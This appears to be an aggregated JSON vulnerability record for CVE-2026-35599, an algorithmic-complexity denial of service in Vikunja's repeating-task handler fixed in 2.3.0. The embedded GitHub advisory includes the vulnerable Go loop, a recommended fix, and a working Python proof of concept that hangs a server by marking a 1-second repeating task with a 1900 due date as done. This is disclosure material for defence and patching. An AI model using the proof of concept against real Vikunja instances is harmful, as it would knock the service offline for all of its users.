{"id":"GHSA-r4fg-73rc-hhh7","revision":null,"records":[{"revision":"56d70a0c56794ce28c25c145b62c9852","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35599","aliases":[],"title":"Vikunja has an Algorithmic Complexity DoS in Repeating Task Handler","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T16:05:57.581+00:00","modifiedAt":"2026-04-10T18:28:29.31+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7","https://github.com/go-vikunja/vikunja/pull/2577","https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35599","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35599","identifiers":["CVE-2026-35599"]},"retained":false,"historicalAffected":[]},{"revision":"2b44b29ed00b4fa7bc15b2435ade1395","observedAt":"2026-10-28T04:56:24.003+00:00","statement":{"source":"euvd","id":"EUVD-2026-21426","aliases":["CVE-2026-35599","GHSA-r4fg-73rc-hhh7"],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a …","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7","https://github.com/go-vikunja/vikunja/pull/2577","https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21426","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 4:05:57 PM","dateUpdated":"Apr 10, 2026, 6:28:29 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21426","identifiers":["EUVD-2026-21426","CVE-2026-35599","GHSA-r4fg-73rc-hhh7"]},"retained":false,"historicalAffected":[]},{"revision":"908c738202e94dbb8c2a7e421e9d3c71","observedAt":"2026-10-27T09:03:12.132+00:00","statement":{"source":"nvd","id":"CVE-2026-35599","aliases":[],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a …","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T17:17:03.52+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b","https://github.com/go-vikunja/vikunja/pull/2577","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35599","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-407"],"productCriteria":["cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-10T17:17:03.520","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35599","identifiers":["CVE-2026-35599"]},"retained":false,"historicalAffected":[]},{"revision":"fcaa58d583494e53ad1996889939d87b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-r4fg-73rc-hhh7","aliases":["CVE-2026-35599","GO-2026-5608"],"title":"Vikunja has Algorithmic Complexity DoS in Repeating Task Handler","description":"## Summary\n\nThe `addRepeatIntervalToTime` function uses an O(n) loop that advances a date by the task's `RepeatAfter` duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.\n\n## Details\n\nThe vulnerable function at `pkg/models/tasks.go:1456-1464`:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    for {\n        t = t.Add(duration)\n        if t.After(now) {\n            break\n        }\n    }\n    return t\n}\n```\n\nThe `RepeatAfter` field accepts any positive integer (validated as `range(0|9223372036854775807)`), and `DueDate` accepts any valid timestamp including dates far in the past. When a task with `repeat_after=1` and `due_date=1900-01-01` is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).\n\nEach request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests, time\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"DoS Test\"}).json()\n\n# create task with repeat_after=1 second and a date far in the past\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h,\n    json={\"title\": \"DoS\", \"repeat_after\": 1,\n          \"due_date\": \"1900-01-01T00:00:00Z\"}).json()\n\n# mark done - triggers the vulnerable loop\nstart = time.time()\ntry:\n    r = requests.post(f\"{API}/tasks/{task['id']}\", headers=h,\n        json={\"title\": \"DoS\", \"done\": True}, timeout=120)\n    print(f\"Response: {r.status_code} in {time.time()-start:.1f}s\")\nexcept requests.exceptions.Timeout:\n    print(f\"TIMEOUT after {time.time()-start:.1f}s\")\n```\n\nOutput:\n```\nTIMEOUT after 60.0s\n```\n\nThe request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, `due_date=2020-01-01` completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.\n\n## Impact\n\nAny authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.\n\n## Recommended Fix\n\nReplace the O(n) loop with O(1) arithmetic:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    if duration <= 0 {\n        return t\n    }\n    diff := now.Sub(t)\n    if diff <= 0 {\n        return t.Add(duration)\n    }\n    intervals := int64(diff/duration) + 1\n    return t.Add(time.Duration(intervals) * duration)\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:34:41+00:00","modifiedAt":"2026-06-25T23:11:15.9833307+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7","https://nvd.nist.gov/vuln/detail/CVE-2026-35599","https://github.com/go-vikunja/vikunja/pull/2577","https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-r4fg-73rc-hhh7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r4fg-73rc-hhh7","identifiers":["GHSA-r4fg-73rc-hhh7","CVE-2026-35599","GO-2026-5608"]},"retained":false,"historicalAffected":[]},{"revision":"218caf4efda744b8ad027d0cbb76422a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5608","aliases":["CVE-2026-35599","GHSA-r4fg-73rc-hhh7"],"title":"Vikunja has Algorithmic Complexity DoS in Repeating Task Handler in code.vikunja.io/api","description":"Vikunja has Algorithmic Complexity DoS in Repeating Task Handler in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:33.7652408+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7","https://nvd.nist.gov/vuln/detail/CVE-2026-35599","https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b","https://github.com/go-vikunja/vikunja/pull/2577","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5608","license":"OSV · upstream source license applies","key":"osv:GO-2026-5608","identifiers":["GO-2026-5608","CVE-2026-35599","GHSA-r4fg-73rc-hhh7"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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